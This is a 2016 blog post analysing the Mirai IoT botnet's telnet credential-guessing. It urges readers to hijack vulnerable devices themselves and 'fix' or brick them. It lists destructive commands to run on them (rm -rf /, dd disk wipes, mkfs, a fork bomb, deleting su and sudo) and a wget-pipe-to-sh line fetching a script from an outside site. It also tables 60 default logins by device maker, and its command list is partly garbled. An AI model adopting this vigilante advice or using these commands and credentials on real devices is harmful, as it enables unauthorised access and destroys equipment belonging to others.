Why we should fear Mirai and IoT botnets (and how stupidly simple it is to quash those fears)

// October 24th, 2016 // Hacking and Security

Snipped from Mirai's scanner.c containing hardcoded username and passwords for iot devices

The first thought for anyone who has examined the Mirai codebase is how well the application was coded. The second thought is how easy it would be to disable. Mirai’s application design is simple, well architected, and well coded – but it’s primary function is a C&C server (that takes advantage of ridiculously stupid security on a set selection of IoT devices). Being a C&C server inherently means  you can control the Mirai botnet with it – even to the point of shutting it down – permanently.

In a nutshell, Mirai contains a list of 60 unique username/password combinations commonly used on IoT devices as default logins or factory backdoors. Mirai iterates through the table of username/passwords, attempting to login to the device via telnet. If successful, it relays the authentication details back to the C&C server which uses the login details to telnet into the device and wget (or tftp) an upload containing DDoS instructions. It’s a simple process that works on all types of devices because they are all based on BusyBox, a version of Linux popularly used on embedded devices.

The key of course, is the telnet service which is enabled on the IoT devices. Once you have an open shell, you’re pretty much free to do whatever you want on the device – including a variety of means to lock it down. The question that scares me most  is – who’s going to lock these devices down first, black hats or white hats?

Disabling the Mirai botnet

Mirai itself could be used to own the IoT devices. Simply change the two wget and tftp lines to any number of shell commands which would lock the device down. Maybe a passwd command with a password other than “1234”? How about modding the kernel to support iptables and rearranging port access? Or maybe disabling telnet entirely (Mirai does this but once the device is rebooted, telnet is available again)?

BusyBox provides plenty of Linux functionality.  I’ll get you started – here’s a BusyBox cheatsheet of available commands:

  • acpid
  • addgroup
  • adduser
  • adjtimex
  • ar
  • arp
  • arping
  • ash
  • awk
  • basename
  • beep
  • blkid
  • brctl
  • bunzip2
  • bzcat
  • bzip2
  • cal
  • cat
  • catv
  • chat
  • chattr
  • chgrp
  • chmod
  • chown
  • chpasswd
  • chpst
  • chroot
  • chrt
  • chvt
  • cksum
  • clear
  • cmp
  • comm
  • cp
  • cpio
  • crond
  • crontab
  • cryptpw
  • cut
  • date
  • dc
  • dd
  • deallocvt
  • delgroup
  • deluser
  • depmod
  • devmem
  • df
  • dhcprelay
  • diff
  • dirname
  • dmesg
  • dnsd
  • dnsdomainname
  • dos2unix
  • dpkg
  • du
  • dumpkmap
  • dumpleases
  • echo
  • ed
  • egrep
  • eject
  • env
  • envdir
  • envuidgid
  • expand
  • expr
  • fakeidentd
  • false
  • fbset
  • fbsplash
  • fdflush
  • fdformat
  • fdisk
  • fgrep
  • find
  • findfs
  • flash
  • lock
  • lash
  • nlock
  • fold
  • free
  • freeramdisk
  • fsck
  • fsck
  • minix
  • fsync
  • ftpd
  • ftpget
  • ftpput
  • fuser
  • getopt
  • getty
  • grep
  • gunzip
  • gzip
  • hd
  • dparm
  • head
  • hexdump
  • hostid
  • hostname
  • httpd
  • hush
  • hwclock
  • id
  • ifconfig
  • ifdown
  • ifenslave
  • ifplugd
  • ifup
  • inetd
  • init
  • inotifyd
  • nsmod
  • install
  • ionice
  • ip
  • ipaddr
  • ipcalc
  • ipcrm
  • ipcs
  • iplink
  • iproute
  • iprule
  • iptunnel
  • kbd_mode
  • kill
  • killall
  • killall5
  • klogd
  • last
  • length
  • less
  • linux32
  • linux64
  • linuxrc
  • ln
  • loadfont
  • loadkmap
  • logger
  • login
  • logname
  • logread
  • losetup
  • lpd
  • lpq
  • lpr
  • ls
  • lsattr
  • lsmod
  • lzmacat
  • lzop
  • lzopcat
  • makemime
  • man
  • md5sum
  • mdev
  • mesg
  • microcom
  • mkdir
  • mkdosfs
  • mkfifo
  • mkfs
  • minix
  • mkfs.vfat
  • mknod
  • mkpasswd
  • mkswap
  • mktemp
  • modprobe
  • more
  • mount
  • mountpoint
  • mt
  • mv
  • nameif
  • nc
  • netstat
  • nice
  • nmeter
  • nohup
  • nslookup
  • od
  • openvt
  • passwd
  • patch
  • pgrep
  • pidof
  • ping
  • ping6
  • pipe_progress
  • pivot_root
  • pkill
  • popmaildir
  • printenv
  • printf
  • ps
  • pscan
  • pwd
  • raidautorun
  • rdate
  • rdev
  • readlink
  • readprofile
  • realpath
  • reformime
  • renice
  • reset
  • resize
  • rm
  • rmdir
  • rmmod
  • route
  • rpm
  • rpm2cpio
  • rtcwake
  • run-parts
  • runlevel
  • runsv
  • runsvdir
  • rx
  • script
  • scriptreplay
  • sed
  • sendmail
  • seq
  • setarch
  • setconsole
  • setfont
  • setkeycodes
  • setlogcons
  • setsid
  • setuidgid
  • sh
  • sha1sum
  • sha256sum
  • sha512sum
  • showkey
  • slattach
  • sleep
  • softlimit
  • sort
  • split
  • start-stop-daemon
  • stat
  • strings
  • stty
  • su
  • sulogin
  • sum
  • sv
  • svlogd
  • swapoff
  • swapon
  • switch
  • root
  • sync
  • sysctl
  • syslogd
  • tac
  • tail
  • tar
  • taskset
  • tcpsvd
  • tee
  • telnet
  • telnetd
  • test
  • tftp
  • tftpd
  • time
  • timeout
  • top
  • touch
  • tr
  • traceroute
  • true
  • tty
  • ttysize
  • udhcpc
  • udhcpd
  • udpsvd
  • umount
  • uname
  • uncompress
  • unexpand
  • uniq
  • unix2dos
  • unlzma
  • unlzop
  • unzip
  • uptime
  • usleep
  • uudecode
  • uuencode
  • vconfig
  • vi
  • vlock
  • volname
  • watch
  • watchdog
  • wc
  • wget
  • which
  • who
  • whoami
  • xargs
  • yes
  • zcat
  • zcip

Do you see anything useful in the list of available commands above?  How about running any of these commands on the IoT device (WARNING: Do not try these at home!):

Overwrite the drive with raw data

command > /dev/had

Delete drive contents

rm -rf /

Format the ddrive

mkfs.ext2 /dev/had

Wipe the drive

dd if=/dev/zero of=/dev/had

Kaboom!

mv / /dev/null

See if a kernel panic is possible

dd if=/dev/random of=/dev/port

echo 1 > /proc/sys/kernel/panic

cat /dev/port

cat /dev/zero > /dev/mem

The infamous fork bomb

:(){:|:&};:

Disable administrative access

rm -f /usr/bin/sudo;rm -f /bin/su

Or be creative and turn the device into something useful instead of a DDoS army to attack DNS (at what point will we wise and use blockchain!).

wget http://www.newworldhackers.org/hello.sh -O- | sh

Shodan showed us a long time ago that insecure IoT devices were a problem. My take on this: If the manufacturers of the devices remain irresponsible, hackers should “fix” the devices for them – even to the point of bricking the device or modifying the firmware.

Additional information

The 10/21 Mirai DDoS attack

There have been a lot of questions surrounding the 10/21 DDoS attack, particularly the question of who launched the attack. Within days, New World Hackers claimed responsibility and then seemed to back off from their claims. Some believe the attack was Russian sponsored, possibly a demonstration of the potential consequences of a American retaliatory attack for the DNC breakins. Few are blaming China who would glean no benefit from the attack (even though I saw a large uptick of attack traffic from China during the DDoS event). And since Mirai code leaked days before the attack, a lone hacker is certainly a possibility. My money is on an independent hacking collective.

The other question relates to Mirai itself – who wrote it? The code looks professional.  Whoever constructed it was either a pro or well taught. The readme that accompanied the code drop was written in broken English while the comments in the code were written in perfect English (even with American slang). Then there are thise unusual Russian Cyrillic strings used in error message. A potpourri of various languages and coding styles make identification very confusing indeed. If I had to venture a guess, I’d say it was authored in America but by no means would I stake any money on that.

List of Mirai username/passwords and vulnerable devices

Mirai actually contains 61 username/password combinations but one was inadvertently duplicated by the author leaving 60 unique sets.  The username/password combinations were obfuscated in the code but can easily be deciphered by running Mirai’s included encoding routine. Below are the 60 username/password combinations used in Mirai.  I included the applicable device and manufacturer because, well, they deserve to be publicly humiliated.

Username Password Device
666666 666666 Dahua IP Camera
888888 888888
admin [empty]
admin 1111 Xerox printers
admin 1111111 Samsung IP Camera
admin 1234
admin 12345
admin 123456 ACTi IP Camera
admin 54321
admin 7ujMko0admin
admin admin
admin admin1234
admin meinsm Mobotix Network Camera
admin pass
admin password
admin smcadmin SMC Router
admin1 password
administrator 1234
Administrator admin
guest 12345
guest guest
mother fucker
root [empty] Vivotek IP Camera
root 00000000 Panasonic Printer
root 1111
root 1234
root 12345
root 123456
root 54321 Packet8 VOIP Phone
root 666666 Dahua DVR
root 7ujMko0admin Dahua IP Camera
root 7ujMko0vizxv Dahua IP Camera
root 888888 Dahua DVR
root admin IPX_DDK Network Camera
root anko ANKO Products DVR
root default
root dreambox Dreambox TV receiver
root hi3518 HiSilicon IP Camera
root ikwb Toshiba Network Camera
root juantech Guangzhou Juan Optical
root jvbzd HiSilicon IP Camera
root klv123 HiSilicon IP Camera
root klv1234 HiSilicon IP Camera
root pass Axis IP Camera
root password
root realtek RealTek Routers
root root
root system IQinVision Cameras
root user
root vizxv Dahua Camera
root xc3511 H.264 Chinese DVR
root xmhdipc Shenzhen Anran Security Camera
root zlxx EV ZLX two-way speaker
root Zte521 ZTE Router
service service
supervisor supervisor VideoIQ
support support
tech tech
ubnt ubnt Ubiquiti AirOS Router
user user

No related articles or news found.





« « Previous Article: Amazing park benches turn mundane seats into stunning works of art.     » » Next Article: The Shadow Brokers dropped another server list today–is it relevant?


Leave a Reply

You must be logged in to post a comment.

%d bloggers like this: